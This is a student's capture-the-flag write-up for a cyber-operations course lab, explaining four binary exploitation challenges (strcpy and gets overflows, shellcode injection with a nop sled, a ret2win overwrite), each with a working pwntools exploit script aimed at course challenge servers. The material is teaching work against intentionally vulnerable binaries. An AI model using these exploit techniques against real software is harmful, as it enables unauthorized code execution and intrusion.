Lab #4: Binary Exploitation I
CSE 3801 : Introduction to Cyber Operations

Team: Tyler Dionne

Challenge 1:
Provided files: pwn-100, pwn-100.c
Upon analyzing pwn-100.c we can see that there is a buffer overflow vulnerability in the check_password function.
In this function we see that the argument passed into the function (passwd) is copied into buf1 which is allocated 16 bytes.
The argument that is passed into the check_password function is the input passed by the user.
We know that the function used to copy the passwd variable over to buf1 is strcpy() which is a known unsafe function because it does not perform bounds checking.
The comparison we must make true in order to print the flag is strcmp(buf2, “BBBB”) so therefore we can input a string of B’s that is 20 characters long which will overflow buf1 and write four B’s into buf2 therefore making the comparison true and displaying the flag.
Solution:

```
from pwn import *
r = remote("cse3801-pwn-100.chals.io", 443, ssl=True,
sni="cse3801-pwn-100.chals.io")
r.recvuntil("Login >>> ")
r.sendline("BBBBBBBBBBBBBBBBBBBB")
response = r.recvall().decode()
print(response)
r.close()
```

Challenge 2:
Provided files: pwn-200, pwn-200.c
Upon analyzing pwn-200.c we can see that once again there is a buffer overflow vulnerability in the vuln function.
In this case we see that there are three variables declared: char passwd[4]="TEMP", char userid[4]="TEMP", char input[6] with the input variable storing the user input.
We can also see that user input is being taken into the program using the gets() method which is once again a known unsafe function that does not perform bounds checking.
We also see that the condition we would like to make true in order to display the flag is strcmp(passwd, "3801").
Therefore we can input a string that overflows the input and user id buffers and writes ‘3801’ into passwd.
Solution:

```
from pwn import *
r = remote("cse3801-pwn-200.chals.io", 443, ssl=True,
sni="cse3801-pwn-200.chals.io")
```

```
r.recvuntil("Password >>> ")
payload = "AAAAAAAAAA3801"
r.sendline(payload)
response = r.recvall().decode()
print(response)
r.close()
```

Challenge 3:
Provided files: pwn-300, pwn-300.c
Upon analyzing pwn-300 we can see that the program prints out a memory address at which the game starts. Besides this we do not see much else such as a display flag function.
The goal of this challenge is to jump to arbitrary shellcode by overwriting the address stored in RSP with the address of our shellcode, which in this case we can place our shellcode at the memory address printed and then jump to that address.
We know that we want to cat flag.txt so we can construct shellcode to achieve this.
We can find the offset to RSP using GDB and sending a large cyclic to the program. We can then observe the value stored in RSP after sending the cyclic and then using cyclic -l “value” to identify the offset.
We also must take in the address printed by the program dynamically because it changes each time.
Once we have this information we construct shellcode using shellcraft. To create shellcode that will cat flag.txt we use shellcraft.cat(“flag.txt”).
We will also use a nop sled for our padding to RSP. This will improve the chances of the exploit succeeding because of the fact that ‘nop’s are still valid instructions while A’s or other junk characters are not.
We can then construct a payload with the following format [shellcode + padding + start_address]
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
  if args.GDB:
    return gdb.debug(e.path, gdbscript=gs)
  elif args.REMOTE:
    return remote("cse3801-pwn-300.chals.io", 443, ssl=True,
sni="cse3801-pwn-300.chals.io")
  else:
    return process(e.path)

p = start()
#x = cyclic(500)
#p.recvuntil("You say >>> ")
#p.sendline(x)
p.recvuntil("<<< The game begins at 0x")
start_address = int(p.recv(12), 16)
start_address = p64(start_address)
shellcode = asm(shellcraft.cat("flag.txt"))
padding = asm("nop") * (120 - len(shellcode))
p.sendline(shellcode + padding + start_address)
response = p.recvall().decode()
print(response)
p.interactive()
```

Challenge 4:
Provided files: pwn-400, pwn-400.c
Upon analyzing pwn-400 we can see that there is a win function that displays the flag but this function is not called during normal execution.
The goal of this challenge is to overwrite RSP with the address of the win function.
Once again we can find the offset to RSP using the same method described in the previous challenge.
Once we find the offset we then need to get the address of the win function which we can obtain from the symbol table in the binary using sym['win'].
We then need to add a plain ret; gadget to 16 byte align the stack. This issue will be covered further in my ROP ctfs writeup. We can find a ret; gadget using 'ropper -f pwn-300' then scrolling to the very last gadget and grabbing the address from the left hand side.
Once we have this information we can construct a payload in the following format [padding + ret + address_of_win]
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
  if args.GDB:
    return gdb.debug(e.path, gdbscript=gs)
  elif args.REMOTE:
    return remote("cse3801-pwn-400.chals.io", 443, ssl=True,
sni="cse3801-pwn-400.chals.io")
  else:
    return process(e.path)
p = start()
#x = cyclic(500)
#p.recvuntil("What say you >>> ")
#p.sendline(x)
p.recvuntil("What say you >>> ")
padding = b'A'*40
win = p64(e.sym['win'])
ret = p64(0x401016)
p.sendline(padding + ret + win)
response = p.recvall().decode()
print(response)
p.interactive()
```